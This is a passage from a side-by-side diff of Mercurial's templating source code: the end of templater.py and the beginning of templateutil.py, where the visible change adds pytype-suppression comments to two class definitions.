961 allfilters = templatefilters.filters.copy()
961 allfilters = templatefilters.filters.copy()
962 if filters:
962 if filters:
963 allfilters.update(filters)
963 allfilters.update(filters)
964 self._loader = loader(cache, aliases)
964 self._loader = loader(cache, aliases)
965 self._proc = engine(self._loader.load, allfilters, defaults, resources)
965 self._proc = engine(self._loader.load, allfilters, defaults, resources)
966 self._minchunk, self._maxchunk = minchunk, maxchunk
966 self._minchunk, self._maxchunk = minchunk, maxchunk
967
967
968 @classmethod
968 @classmethod
969 def frommapfile(
969 def frommapfile(
970 cls,
970 cls,
971 mapfile,
971 mapfile,
972 filters=None,
972 filters=None,
973 defaults=None,
973 defaults=None,
974 resources=None,
974 resources=None,
975 cache=None,
975 cache=None,
976 minchunk=1024,
976 minchunk=1024,
977 maxchunk=65536,
977 maxchunk=65536,
978 ):
978 ):
979 """Create templater from the specified map file"""
979 """Create templater from the specified map file"""
980 t = cls(filters, defaults, resources, cache, [], minchunk, maxchunk)
980 t = cls(filters, defaults, resources, cache, [], minchunk, maxchunk)
981 cache, tmap, aliases = _readmapfile(mapfile)
981 cache, tmap, aliases = _readmapfile(mapfile)
982 t._loader.cache.update(cache)
982 t._loader.cache.update(cache)
983 t._loader._map = tmap
983 t._loader._map = tmap
984 t._loader._aliasmap = _aliasrules.buildmap(aliases)
984 t._loader._aliasmap = _aliasrules.buildmap(aliases)
985 return t
985 return t
986
986
987 def __contains__(self, key):
987 def __contains__(self, key):
988 return key in self._loader
988 return key in self._loader
989
989
990 @property
990 @property
991 def cache(self):
991 def cache(self):
992 return self._loader.cache
992 return self._loader.cache
993
993
994 # for highlight extension to insert one-time 'colorize' filter
994 # for highlight extension to insert one-time 'colorize' filter
995 @property
995 @property
996 def _filters(self):
996 def _filters(self):
997 return self._proc._filters
997 return self._proc._filters
998
998
999 @property
999 @property
1000 def defaults(self):
1000 def defaults(self):
1001 return self._proc._defaults
1001 return self._proc._defaults
1002
1002
1003 def load(self, t):
1003 def load(self, t):
1004 """Get parsed tree for the given template name. Use a local cache."""
1004 """Get parsed tree for the given template name. Use a local cache."""
1005 return self._loader.load(t)
1005 return self._loader.load(t)
1006
1006
1007 def symbolsuseddefault(self):
1007 def symbolsuseddefault(self):
1008 """Look up (keywords, filters/functions) referenced from the default
1008 """Look up (keywords, filters/functions) referenced from the default
1009 unnamed template
1009 unnamed template
1010
1010
1011 This may load additional templates from the map file.
1011 This may load additional templates from the map file.
1012 """
1012 """
1013 return self.symbolsused(b'')
1013 return self.symbolsused(b'')
1014
1014
1015 def symbolsused(self, t):
1015 def symbolsused(self, t):
1016 """Look up (keywords, filters/functions) referenced from the name
1016 """Look up (keywords, filters/functions) referenced from the name
1017 template 't'
1017 template 't'
1018
1018
1019 This may load additional templates from the map file.
1019 This may load additional templates from the map file.
1020 """
1020 """
1021 return self._loader.symbolsused(t)
1021 return self._loader.symbolsused(t)
1022
1022
1023 def renderdefault(self, mapping):
1023 def renderdefault(self, mapping):
1024 """Render the default unnamed template and return result as string"""
1024 """Render the default unnamed template and return result as string"""
1025 return self.render(b'', mapping)
1025 return self.render(b'', mapping)
1026
1026
1027 def render(self, t, mapping):
1027 def render(self, t, mapping):
1028 """Render the specified named template and return result as string"""
1028 """Render the specified named template and return result as string"""
1029 return b''.join(self.generate(t, mapping))
1029 return b''.join(self.generate(t, mapping))
1030
1030
1031 def generate(self, t, mapping):
1031 def generate(self, t, mapping):
1032 """Return a generator that renders the specified named template and
1032 """Return a generator that renders the specified named template and
1033 yields chunks"""
1033 yields chunks"""
1034 stream = self._proc.process(t, mapping)
1034 stream = self._proc.process(t, mapping)
1035 if self._minchunk:
1035 if self._minchunk:
1036 stream = util.increasingchunks(
1036 stream = util.increasingchunks(
1037 stream, min=self._minchunk, max=self._maxchunk
1037 stream, min=self._minchunk, max=self._maxchunk
1038 )
1038 )
1039 return stream
1039 return stream
1040
1040
1041
1041
1042 def templatepaths():
1042 def templatepaths():
1043 '''return locations used for template files.'''
1043 '''return locations used for template files.'''
1044 pathsrel = [b'templates']
1044 pathsrel = [b'templates']
1045 paths = [os.path.normpath(os.path.join(util.datapath, f)) for f in pathsrel]
1045 paths = [os.path.normpath(os.path.join(util.datapath, f)) for f in pathsrel]
1046 return [p for p in paths if os.path.isdir(p)]
1046 return [p for p in paths if os.path.isdir(p)]
1047
1047
1048
1048
1049 def templatepath(name):
1049 def templatepath(name):
1050 '''return location of template file. returns None if not found.'''
1050 '''return location of template file. returns None if not found.'''
1051 for p in templatepaths():
1051 for p in templatepaths():
1052 f = os.path.join(p, name)
1052 f = os.path.join(p, name)
1053 if os.path.exists(f):
1053 if os.path.exists(f):
1054 return f
1054 return f
1055 return None
1055 return None
1056
1056
1057
1057
1058 def stylemap(styles, paths=None):
1058 def stylemap(styles, paths=None):
1059 """Return path to mapfile for a given style.
1059 """Return path to mapfile for a given style.
1060
1060
1061 Searches mapfile in the following locations:
1061 Searches mapfile in the following locations:
1062 1. templatepath/style/map
1062 1. templatepath/style/map
1063 2. templatepath/map-style
1063 2. templatepath/map-style
1064 3. templatepath/map
1064 3. templatepath/map
1065 """
1065 """
1066
1066
1067 if paths is None:
1067 if paths is None:
1068 paths = templatepaths()
1068 paths = templatepaths()
1069 elif isinstance(paths, bytes):
1069 elif isinstance(paths, bytes):
1070 paths = [paths]
1070 paths = [paths]
1071
1071
1072 if isinstance(styles, bytes):
1072 if isinstance(styles, bytes):
1073 styles = [styles]
1073 styles = [styles]
1074
1074
1075 for style in styles:
1075 for style in styles:
1076 # only plain name is allowed to honor template paths
1076 # only plain name is allowed to honor template paths
1077 if (
1077 if (
1078 not style
1078 not style
1079 or style in (pycompat.oscurdir, pycompat.ospardir)
1079 or style in (pycompat.oscurdir, pycompat.ospardir)
1080 or pycompat.ossep in style
1080 or pycompat.ossep in style
1081 or pycompat.osaltsep
1081 or pycompat.osaltsep
1082 and pycompat.osaltsep in style
1082 and pycompat.osaltsep in style
1083 ):
1083 ):
1084 continue
1084 continue
1085 locations = [os.path.join(style, b'map'), b'map-' + style]
1085 locations = [os.path.join(style, b'map'), b'map-' + style]
1086 locations.append(b'map')
1086 locations.append(b'map')
1087
1087
1088 for path in paths:
1088 for path in paths:
1089 for location in locations:
1089 for location in locations:
1090 mapfile = os.path.join(path, location)
1090 mapfile = os.path.join(path, location)
1091 if os.path.isfile(mapfile):
1091 if os.path.isfile(mapfile):
1092 return style, mapfile
1092 return style, mapfile
1093
1093
1094 raise RuntimeError(b"No hgweb templates found in %r" % paths)
1094 raise RuntimeError(b"No hgweb templates found in %r" % paths)
@@ -1,1096 +1,1096 b''
1 # templateutil.py - utility for template evaluation
1 # templateutil.py - utility for template evaluation
2 #
2 #
3 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import abc
10 import abc
11 import types
11 import types
12
12
13 from .i18n import _
13 from .i18n import _
14 from .pycompat import getattr
14 from .pycompat import getattr
15 from . import (
15 from . import (
16 error,
16 error,
17 pycompat,
17 pycompat,
18 util,
18 util,
19 )
19 )
20 from .utils import (
20 from .utils import (
21 dateutil,
21 dateutil,
22 stringutil,
22 stringutil,
23 )
23 )
24
24
25
25
26 class ResourceUnavailable(error.Abort):
26 class ResourceUnavailable(error.Abort):
27 pass
27 pass
28
28
29
29
30 class TemplateNotFound(error.Abort):
30 class TemplateNotFound(error.Abort):
31 pass
31 pass
32
32
33
33
34 class wrapped(object):
34 class wrapped(object): # pytype: disable=ignored-metaclass
35 """Object requiring extra conversion prior to displaying or processing
35 """Object requiring extra conversion prior to displaying or processing
36 as value
36 as value
37
37
38 Use unwrapvalue() or unwrapastype() to obtain the inner object.
38 Use unwrapvalue() or unwrapastype() to obtain the inner object.
39 """
39 """
40
40
41 __metaclass__ = abc.ABCMeta
41 __metaclass__ = abc.ABCMeta
42
42
43 @abc.abstractmethod
43 @abc.abstractmethod
44 def contains(self, context, mapping, item):
44 def contains(self, context, mapping, item):
45 """Test if the specified item is in self
45 """Test if the specified item is in self
46
46
47 The item argument may be a wrapped object.
47 The item argument may be a wrapped object.
48 """
48 """
49
49
50 @abc.abstractmethod
50 @abc.abstractmethod
51 def getmember(self, context, mapping, key):
51 def getmember(self, context, mapping, key):
52 """Return a member item for the specified key
52 """Return a member item for the specified key
53
53
54 The key argument may be a wrapped object.
54 The key argument may be a wrapped object.
55 A returned object may be either a wrapped object or a pure value
55 A returned object may be either a wrapped object or a pure value
56 depending on the self type.
56 depending on the self type.
57 """
57 """
58
58
59 @abc.abstractmethod
59 @abc.abstractmethod
60 def getmin(self, context, mapping):
60 def getmin(self, context, mapping):
61 """Return the smallest item, which may be either a wrapped or a pure
61 """Return the smallest item, which may be either a wrapped or a pure
62 value depending on the self type"""
62 value depending on the self type"""
63
63
64 @abc.abstractmethod
64 @abc.abstractmethod
65 def getmax(self, context, mapping):
65 def getmax(self, context, mapping):
66 """Return the largest item, which may be either a wrapped or a pure
66 """Return the largest item, which may be either a wrapped or a pure
67 value depending on the self type"""
67 value depending on the self type"""
68
68
69 @abc.abstractmethod
69 @abc.abstractmethod
70 def filter(self, context, mapping, select):
70 def filter(self, context, mapping, select):
71 """Return new container of the same type which includes only the
71 """Return new container of the same type which includes only the
72 selected elements
72 selected elements
73
73
74 select() takes each item as a wrapped object and returns True/False.
74 select() takes each item as a wrapped object and returns True/False.
75 """
75 """
76
76
77 @abc.abstractmethod
77 @abc.abstractmethod
78 def itermaps(self, context):
78 def itermaps(self, context):
79 """Yield each template mapping"""
79 """Yield each template mapping"""
80
80
81 @abc.abstractmethod
81 @abc.abstractmethod
82 def join(self, context, mapping, sep):
82 def join(self, context, mapping, sep):
83 """Join items with the separator; Returns a bytes or (possibly nested)
83 """Join items with the separator; Returns a bytes or (possibly nested)
84 generator of bytes
84 generator of bytes
85
85
86 A pre-configured template may be rendered per item if this container
86 A pre-configured template may be rendered per item if this container
87 holds unprintable items.
87 holds unprintable items.
88 """
88 """
89
89
90 @abc.abstractmethod
90 @abc.abstractmethod
91 def show(self, context, mapping):
91 def show(self, context, mapping):
92 """Return a bytes or (possibly nested) generator of bytes representing
92 """Return a bytes or (possibly nested) generator of bytes representing
93 the underlying object
93 the underlying object
94
94
95 A pre-configured template may be rendered if the underlying object is
95 A pre-configured template may be rendered if the underlying object is
96 not printable.
96 not printable.
97 """
97 """
98
98
99 @abc.abstractmethod
99 @abc.abstractmethod
100 def tobool(self, context, mapping):
100 def tobool(self, context, mapping):
101 """Return a boolean representation of the inner value"""
101 """Return a boolean representation of the inner value"""
102
102
103 @abc.abstractmethod
103 @abc.abstractmethod
104 def tovalue(self, context, mapping):
104 def tovalue(self, context, mapping):
105 """Move the inner value object out or create a value representation
105 """Move the inner value object out or create a value representation
106
106
107 A returned value must be serializable by templaterfilters.json().
107 A returned value must be serializable by templaterfilters.json().
108 """
108 """
109
109
110
110
111 class mappable(object):
111 class mappable(object): # pytype: disable=ignored-metaclass
112 """Object which can be converted to a single template mapping"""
112 """Object which can be converted to a single template mapping"""
113
113
114 __metaclass__ = abc.ABCMeta
114 __metaclass__ = abc.ABCMeta
115
115
116 def itermaps(self, context):
116 def itermaps(self, context):
117 yield self.tomap(context)
117 yield self.tomap(context)
118
118
119 @abc.abstractmethod
119 @abc.abstractmethod
120 def tomap(self, context):
120 def tomap(self, context):
121 """Create a single template mapping representing this"""
121 """Create a single template mapping representing this"""
122
122
123
123
124 class wrappedbytes(wrapped):
124 class wrappedbytes(wrapped):
125 """Wrapper for byte string"""
125 """Wrapper for byte string"""
126
126
127 def __init__(self, value):
127 def __init__(self, value):
128 self._value = value
128 self._value = value
129
129
130 def contains(self, context, mapping, item):
130 def contains(self, context, mapping, item):
131 item = stringify(context, mapping, item)
131 item = stringify(context, mapping, item)
132 return item in self._value
132 return item in self._value
133
133
134 def getmember(self, context, mapping, key):
134 def getmember(self, context, mapping, key):
135 raise error.ParseError(
135 raise error.ParseError(
136 _(b'%r is not a dictionary') % pycompat.bytestr(self._value)
136 _(b'%r is not a dictionary') % pycompat.bytestr(self._value)
137 )
137 )
138
138
139 def getmin(self, context, mapping):
139 def getmin(self, context, mapping):
140 return self._getby(context, mapping, min)
140 return self._getby(context, mapping, min)
141
141
142 def getmax(self, context, mapping):
142 def getmax(self, context, mapping):
143 return self._getby(context, mapping, max)
143 return self._getby(context, mapping, max)
144
144
145 def _getby(self, context, mapping, func):
145 def _getby(self, context, mapping, func):
146 if not self._value:
146 if not self._value:
147 raise error.ParseError(_(b'empty string'))
147 raise error.ParseError(_(b'empty string'))
148 return func(pycompat.iterbytestr(self._value))
148 return func(pycompat.iterbytestr(self._value))
149
149
150 def filter(self, context, mapping, select):
150 def filter(self, context, mapping, select):
151 raise error.ParseError(
151 raise error.ParseError(
152 _(b'%r is not filterable') % pycompat.bytestr(self._value)
152 _(b'%r is not filterable') % pycompat.bytestr(self._value)
153 )
153 )
154
154
155 def itermaps(self, context):
155 def itermaps(self, context):
156 raise error.ParseError(
156 raise error.ParseError(
157 _(b'%r is not iterable of mappings') % pycompat.bytestr(self._value)
157 _(b'%r is not iterable of mappings') % pycompat.bytestr(self._value)
158 )
158 )
159
159
160 def join(self, context, mapping, sep):
160 def join(self, context, mapping, sep):
161 return joinitems(pycompat.iterbytestr(self._value), sep)
161 return joinitems(pycompat.iterbytestr(self._value), sep)
162
162
163 def show(self, context, mapping):
163 def show(self, context, mapping):
164 return self._value
164 return self._value
165
165
166 def tobool(self, context, mapping):
166 def tobool(self, context, mapping):
167 return bool(self._value)
167 return bool(self._value)
168
168
169 def tovalue(self, context, mapping):
169 def tovalue(self, context, mapping):
170 return self._value
170 return self._value
171
171
172
172
173 class wrappedvalue(wrapped):
173 class wrappedvalue(wrapped):
174 """Generic wrapper for pure non-list/dict/bytes value"""
174 """Generic wrapper for pure non-list/dict/bytes value"""
175
175
176 def __init__(self, value):
176 def __init__(self, value):
177 self._value = value
177 self._value = value
178
178
179 def contains(self, context, mapping, item):
179 def contains(self, context, mapping, item):
180 raise error.ParseError(_(b"%r is not iterable") % self._value)
180 raise error.ParseError(_(b"%r is not iterable") % self._value)
181
181
182 def getmember(self, context, mapping, key):
182 def getmember(self, context, mapping, key):
183 raise error.ParseError(_(b'%r is not a dictionary') % self._value)
183 raise error.ParseError(_(b'%r is not a dictionary') % self._value)
184
184
185 def getmin(self, context, mapping):
185 def getmin(self, context, mapping):
186 raise error.ParseError(_(b"%r is not iterable") % self._value)
186 raise error.ParseError(_(b"%r is not iterable") % self._value)
187
187
188 def getmax(self, context, mapping):
188 def getmax(self, context, mapping):
189 raise error.ParseError(_(b"%r is not iterable") % self._value)
189 raise error.ParseError(_(b"%r is not iterable") % self._value)
190
190
191 def filter(self, context, mapping, select):
191 def filter(self, context, mapping, select):
192 raise error.ParseError(_(b"%r is not iterable") % self._value)
192 raise error.ParseError(_(b"%r is not iterable") % self._value)
193
193
194 def itermaps(self, context):
194 def itermaps(self, context):
195 raise error.ParseError(
195 raise error.ParseError(
196 _(b'%r is not iterable of mappings') % self._value
196 _(b'%r is not iterable of mappings') % self._value
197 )
197 )
198
198
199 def join(self, context, mapping, sep):
199 def join(self, context, mapping, sep):
200 raise error.ParseError(_(b'%r is not iterable') % self._value)
200 raise error.ParseError(_(b'%r is not iterable') % self._value)
201
201
202 def show(self, context, mapping):
202 def show(self, context, mapping):
203 if self._value is None:
203 if self._value is None:
204 return b''
204 return b''
205 return pycompat.bytestr(self._value)
205 return pycompat.bytestr(self._value)
206
206
207 def tobool(self, context, mapping):
207 def tobool(self, context, mapping):
208 if self._value is None:
208 if self._value is None:
209 return False
209 return False
210 if isinstance(self._value, bool):
210 if isinstance(self._value, bool):
211 return self._value
211 return self._value
212 # otherwise evaluate as string, which means 0 is True
212 # otherwise evaluate as string, which means 0 is True
213 return bool(pycompat.bytestr(self._value))
213 return bool(pycompat.bytestr(self._value))
214
214
215 def tovalue(self, context, mapping):
215 def tovalue(self, context, mapping):
216 return self._value
216 return self._value
217
217
218
218
219 class date(mappable, wrapped):
219 class date(mappable, wrapped):
220 """Wrapper for date tuple"""
220 """Wrapper for date tuple"""
221
221
222 def __init__(self, value, showfmt=b'%d %d'):
222 def __init__(self, value, showfmt=b'%d %d'):
223 # value may be (float, int), but public interface shouldn't support
223 # value may be (float, int), but public interface shouldn't support
224 # floating-point timestamp
224 # floating-point timestamp
225 self._unixtime, self._tzoffset = map(int, value)
225 self._unixtime, self._tzoffset = map(int, value)
226 self._showfmt = showfmt
226 self._showfmt = showfmt
227
227
228 def contains(self, context, mapping, item):
228 def contains(self, context, mapping, item):
229 raise error.ParseError(_(b'date is not iterable'))
229 raise error.ParseError(_(b'date is not iterable'))
230
230
231 def getmember(self, context, mapping, key):
231 def getmember(self, context, mapping, key):
232 raise error.ParseError(_(b'date is not a dictionary'))
232 raise error.ParseError(_(b'date is not a dictionary'))
233
233
234 def getmin(self, context, mapping):
234 def getmin(self, context, mapping):
235 raise error.ParseError(_(b'date is not iterable'))
235 raise error.ParseError(_(b'date is not iterable'))
236
236
237 def getmax(self, context, mapping):
237 def getmax(self, context, mapping):
238 raise error.ParseError(_(b'date is not iterable'))
238 raise error.ParseError(_(b'date is not iterable'))
239
239
240 def filter(self, context, mapping, select):
240 def filter(self, context, mapping, select):
241 raise error.ParseError(_(b'date is not iterable'))
241 raise error.ParseError(_(b'date is not iterable'))
242
242
243 def join(self, context, mapping, sep):
243 def join(self, context, mapping, sep):
244 raise error.ParseError(_(b"date is not iterable"))
244 raise error.ParseError(_(b"date is not iterable"))
245
245
246 def show(self, context, mapping):
246 def show(self, context, mapping):
247 return self._showfmt % (self._unixtime, self._tzoffset)
247 return self._showfmt % (self._unixtime, self._tzoffset)
248
248
249 def tomap(self, context):
249 def tomap(self, context):
250 return {b'unixtime': self._unixtime, b'tzoffset': self._tzoffset}
250 return {b'unixtime': self._unixtime, b'tzoffset': self._tzoffset}
251
251
252 def tobool(self, context, mapping):
252 def tobool(self, context, mapping):
253 return True
253 return True
254
254
255 def tovalue(self, context, mapping):
255 def tovalue(self, context, mapping):
256 return (self._unixtime, self._tzoffset)
256 return (self._unixtime, self._tzoffset)
257
257
258
258
259 class hybrid(wrapped):
259 class hybrid(wrapped):
260 """Wrapper for list or dict to support legacy template
260 """Wrapper for list or dict to support legacy template
261
261
262 This class allows us to handle both:
262 This class allows us to handle both:
263 - "{files}" (legacy command-line-specific list hack) and
263 - "{files}" (legacy command-line-specific list hack) and
264 - "{files % '{file}\n'}" (hgweb-style with inlining and function support)
264 - "{files % '{file}\n'}" (hgweb-style with inlining and function support)
265 and to access raw values:
265 and to access raw values:
266 - "{ifcontains(file, files, ...)}", "{ifcontains(key, extras, ...)}"
266 - "{ifcontains(file, files, ...)}", "{ifcontains(key, extras, ...)}"
267 - "{get(extras, key)}"
267 - "{get(extras, key)}"
268 - "{files|json}"
268 - "{files|json}"
269 """
269 """
270
270
271 def __init__(self, gen, values, makemap, joinfmt, keytype=None):
271 def __init__(self, gen, values, makemap, joinfmt, keytype=None):
272 self._gen = gen # generator or function returning generator
272 self._gen = gen # generator or function returning generator
273 self._values = values
273 self._values = values
274 self._makemap = makemap
274 self._makemap = makemap
275 self._joinfmt = joinfmt
275 self._joinfmt = joinfmt
276 self._keytype = keytype # hint for 'x in y' where type(x) is unresolved
276 self._keytype = keytype # hint for 'x in y' where type(x) is unresolved
277
277
278 def contains(self, context, mapping, item):
278 def contains(self, context, mapping, item):
279 item = unwrapastype(context, mapping, item, self._keytype)
279 item = unwrapastype(context, mapping, item, self._keytype)
280 return item in self._values
280 return item in self._values
281
281
282 def getmember(self, context, mapping, key):
282 def getmember(self, context, mapping, key):
283 # TODO: maybe split hybrid list/dict types?
283 # TODO: maybe split hybrid list/dict types?
284 if not util.safehasattr(self._values, b'get'):
284 if not util.safehasattr(self._values, b'get'):
285 raise error.ParseError(_(b'not a dictionary'))
285 raise error.ParseError(_(b'not a dictionary'))
286 key = unwrapastype(context, mapping, key, self._keytype)
286 key = unwrapastype(context, mapping, key, self._keytype)
287 return self._wrapvalue(key, self._values.get(key))
287 return self._wrapvalue(key, self._values.get(key))
288
288
289 def getmin(self, context, mapping):
289 def getmin(self, context, mapping):
290 return self._getby(context, mapping, min)
290 return self._getby(context, mapping, min)
291
291
292 def getmax(self, context, mapping):
292 def getmax(self, context, mapping):
293 return self._getby(context, mapping, max)
293 return self._getby(context, mapping, max)
294
294
295 def _getby(self, context, mapping, func):
295 def _getby(self, context, mapping, func):
296 if not self._values:
296 if not self._values:
297 raise error.ParseError(_(b'empty sequence'))
297 raise error.ParseError(_(b'empty sequence'))
298 val = func(self._values)
298 val = func(self._values)
299 return self._wrapvalue(val, val)
299 return self._wrapvalue(val, val)
300
300
301 def _wrapvalue(self, key, val):
301 def _wrapvalue(self, key, val):
302 if val is None:
302 if val is None:
303 return
303 return
304 if util.safehasattr(val, b'_makemap'):
304 if util.safehasattr(val, b'_makemap'):
305 # a nested hybrid list/dict, which has its own way of map operation
305 # a nested hybrid list/dict, which has its own way of map operation
306 return val
306 return val
307 return hybriditem(None, key, val, self._makemap)
307 return hybriditem(None, key, val, self._makemap)
308
308
309 def filter(self, context, mapping, select):
309 def filter(self, context, mapping, select):
310 if util.safehasattr(self._values, b'get'):
310 if util.safehasattr(self._values, b'get'):
311 values = {
311 values = {
312 k: v
312 k: v
313 for k, v in pycompat.iteritems(self._values)
313 for k, v in pycompat.iteritems(self._values)
314 if select(self._wrapvalue(k, v))
314 if select(self._wrapvalue(k, v))
315 }
315 }
316 else:
316 else:
317 values = [v for v in self._values if select(self._wrapvalue(v, v))]
317 values = [v for v in self._values if select(self._wrapvalue(v, v))]
318 return hybrid(None, values, self._makemap, self._joinfmt, self._keytype)
318 return hybrid(None, values, self._makemap, self._joinfmt, self._keytype)
319
319
320 def itermaps(self, context):
320 def itermaps(self, context):
321 makemap = self._makemap
321 makemap = self._makemap
322 for x in self._values:
322 for x in self._values:
323 yield makemap(x)
323 yield makemap(x)
324
324
325 def join(self, context, mapping, sep):
325 def join(self, context, mapping, sep):
326 # TODO: switch gen to (context, mapping) API?
326 # TODO: switch gen to (context, mapping) API?
327 return joinitems((self._joinfmt(x) for x in self._values), sep)
327 return joinitems((self._joinfmt(x) for x in self._values), sep)
328
328
329 def show(self, context, mapping):
329 def show(self, context, mapping):
330 # TODO: switch gen to (context, mapping) API?
330 # TODO: switch gen to (context, mapping) API?
331 gen = self._gen
331 gen = self._gen
332 if gen is None:
332 if gen is None:
333 return self.join(context, mapping, b' ')
333 return self.join(context, mapping, b' ')
334 if callable(gen):
334 if callable(gen):
335 return gen()
335 return gen()
336 return gen
336 return gen
337
337
338 def tobool(self, context, mapping):
338 def tobool(self, context, mapping):
339 return bool(self._values)
339 return bool(self._values)
340
340
341 def tovalue(self, context, mapping):
341 def tovalue(self, context, mapping):
342 # TODO: make it non-recursive for trivial lists/dicts
342 # TODO: make it non-recursive for trivial lists/dicts
343 xs = self._values
343 xs = self._values
344 if util.safehasattr(xs, b'get'):
344 if util.safehasattr(xs, b'get'):
345 return {
345 return {
346 k: unwrapvalue(context, mapping, v)
346 k: unwrapvalue(context, mapping, v)
347 for k, v in pycompat.iteritems(xs)
347 for k, v in pycompat.iteritems(xs)
348 }
348 }
349 return [unwrapvalue(context, mapping, x) for x in xs]
349 return [unwrapvalue(context, mapping, x) for x in xs]
350
350
351
351
352 class hybriditem(mappable, wrapped):
352 class hybriditem(mappable, wrapped):
353 """Wrapper for non-list/dict object to support map operation
353 """Wrapper for non-list/dict object to support map operation
354
354
355 This class allows us to handle both:
355 This class allows us to handle both:
356 - "{manifest}"
356 - "{manifest}"
357 - "{manifest % '{rev}:{node}'}"
357 - "{manifest % '{rev}:{node}'}"
358 - "{manifest.rev}"
358 - "{manifest.rev}"
359 """
359 """
360
360
361 def __init__(self, gen, key, value, makemap):
361 def __init__(self, gen, key, value, makemap):
362 self._gen = gen # generator or function returning generator
362 self._gen = gen # generator or function returning generator
363 self._key = key
363 self._key = key
364 self._value = value # may be generator of strings
364 self._value = value # may be generator of strings
365 self._makemap = makemap
365 self._makemap = makemap
366
366
367 def tomap(self, context):
367 def tomap(self, context):
368 return self._makemap(self._key)
368 return self._makemap(self._key)
369
369
370 def contains(self, context, mapping, item):
370 def contains(self, context, mapping, item):
371 w = makewrapped(context, mapping, self._value)
371 w = makewrapped(context, mapping, self._value)
372 return w.contains(context, mapping, item)
372 return w.contains(context, mapping, item)
373
373
374 def getmember(self, context, mapping, key):
374 def getmember(self, context, mapping, key):
375 w = makewrapped(context, mapping, self._value)
375 w = makewrapped(context, mapping, self._value)
376 return w.getmember(context, mapping, key)
376 return w.getmember(context, mapping, key)
377
377
378 def getmin(self, context, mapping):
378 def getmin(self, context, mapping):
379 w = makewrapped(context, mapping, self._value)
379 w = makewrapped(context, mapping, self._value)
380 return w.getmin(context, mapping)
380 return w.getmin(context, mapping)
381
381
382 def getmax(self, context, mapping):
382 def getmax(self, context, mapping):
383 w = makewrapped(context, mapping, self._value)
383 w = makewrapped(context, mapping, self._value)
384 return w.getmax(context, mapping)
384 return w.getmax(context, mapping)
385
385
386 def filter(self, context, mapping, select):
386 def filter(self, context, mapping, select):
387 w = makewrapped(context, mapping, self._value)
387 w = makewrapped(context, mapping, self._value)
388 return w.filter(context, mapping, select)
388 return w.filter(context, mapping, select)
389
389
390 def join(self, context, mapping, sep):
390 def join(self, context, mapping, sep):
391 w = makewrapped(context, mapping, self._value)
391 w = makewrapped(context, mapping, self._value)
392 return w.join(context, mapping, sep)
392 return w.join(context, mapping, sep)
393
393
394 def show(self, context, mapping):
394 def show(self, context, mapping):
395 # TODO: switch gen to (context, mapping) API?
395 # TODO: switch gen to (context, mapping) API?
396 gen = self._gen
396 gen = self._gen
397 if gen is None:
397 if gen is None:
398 return pycompat.bytestr(self._value)
398 return pycompat.bytestr(self._value)
399 if callable(gen):
399 if callable(gen):
400 return gen()
400 return gen()
401 return gen
401 return gen
402
402
403 def tobool(self, context, mapping):
403 def tobool(self, context, mapping):
404 w = makewrapped(context, mapping, self._value)
404 w = makewrapped(context, mapping, self._value)
405 return w.tobool(context, mapping)
405 return w.tobool(context, mapping)
406
406
407 def tovalue(self, context, mapping):
407 def tovalue(self, context, mapping):
408 return _unthunk(context, mapping, self._value)
408 return _unthunk(context, mapping, self._value)
409
409
410
410
411 class _mappingsequence(wrapped):
411 class _mappingsequence(wrapped):
412 """Wrapper for sequence of template mappings
412 """Wrapper for sequence of template mappings
413
413
414 This represents an inner template structure (i.e. a list of dicts),
414 This represents an inner template structure (i.e. a list of dicts),
415 which can also be rendered by the specified named/literal template.
415 which can also be rendered by the specified named/literal template.
416
416
417 Template mappings may be nested.
417 Template mappings may be nested.
418 """
418 """
419
419
420 def __init__(self, name=None, tmpl=None, sep=b''):
420 def __init__(self, name=None, tmpl=None, sep=b''):
421 if name is not None and tmpl is not None:
421 if name is not None and tmpl is not None:
422 raise error.ProgrammingError(
422 raise error.ProgrammingError(
423 b'name and tmpl are mutually exclusive'
423 b'name and tmpl are mutually exclusive'
424 )
424 )
425 self._name = name
425 self._name = name
426 self._tmpl = tmpl
426 self._tmpl = tmpl
427 self._defaultsep = sep
427 self._defaultsep = sep
428
428
429 def contains(self, context, mapping, item):
429 def contains(self, context, mapping, item):
430 raise error.ParseError(_(b'not comparable'))
430 raise error.ParseError(_(b'not comparable'))
431
431
432 def getmember(self, context, mapping, key):
432 def getmember(self, context, mapping, key):
433 raise error.ParseError(_(b'not a dictionary'))
433 raise error.ParseError(_(b'not a dictionary'))
434
434
435 def getmin(self, context, mapping):
435 def getmin(self, context, mapping):
436 raise error.ParseError(_(b'not comparable'))
436 raise error.ParseError(_(b'not comparable'))
437
437
438 def getmax(self, context, mapping):
438 def getmax(self, context, mapping):
439 raise error.ParseError(_(b'not comparable'))
439 raise error.ParseError(_(b'not comparable'))
440
440
441 def filter(self, context, mapping, select):
441 def filter(self, context, mapping, select):
442 # implement if necessary; we'll need a wrapped type for a mapping dict
442 # implement if necessary; we'll need a wrapped type for a mapping dict
443 raise error.ParseError(_(b'not filterable without template'))
443 raise error.ParseError(_(b'not filterable without template'))
444
444
445 def join(self, context, mapping, sep):
445 def join(self, context, mapping, sep):
446 mapsiter = _iteroverlaymaps(context, mapping, self.itermaps(context))
446 mapsiter = _iteroverlaymaps(context, mapping, self.itermaps(context))
447 if self._name:
447 if self._name:
448 itemiter = (context.process(self._name, m) for m in mapsiter)
448 itemiter = (context.process(self._name, m) for m in mapsiter)
449 elif self._tmpl:
449 elif self._tmpl:
450 itemiter = (context.expand(self._tmpl, m) for m in mapsiter)
450 itemiter = (context.expand(self._tmpl, m) for m in mapsiter)
451 else:
451 else:
452 raise error.ParseError(_(b'not displayable without template'))
452 raise error.ParseError(_(b'not displayable without template'))
453 return joinitems(itemiter, sep)
453 return joinitems(itemiter, sep)
454
454
455 def show(self, context, mapping):
455 def show(self, context, mapping):
456 return self.join(context, mapping, self._defaultsep)
456 return self.join(context, mapping, self._defaultsep)
457
457
458 def tovalue(self, context, mapping):
458 def tovalue(self, context, mapping):
459 knownres = context.knownresourcekeys()
459 knownres = context.knownresourcekeys()
460 items = []
460 items = []
461 for nm in self.itermaps(context):
461 for nm in self.itermaps(context):
462 # drop internal resources (recursively) which shouldn't be displayed
462 # drop internal resources (recursively) which shouldn't be displayed
463 lm = context.overlaymap(mapping, nm)
463 lm = context.overlaymap(mapping, nm)
464 items.append(
464 items.append(
465 {
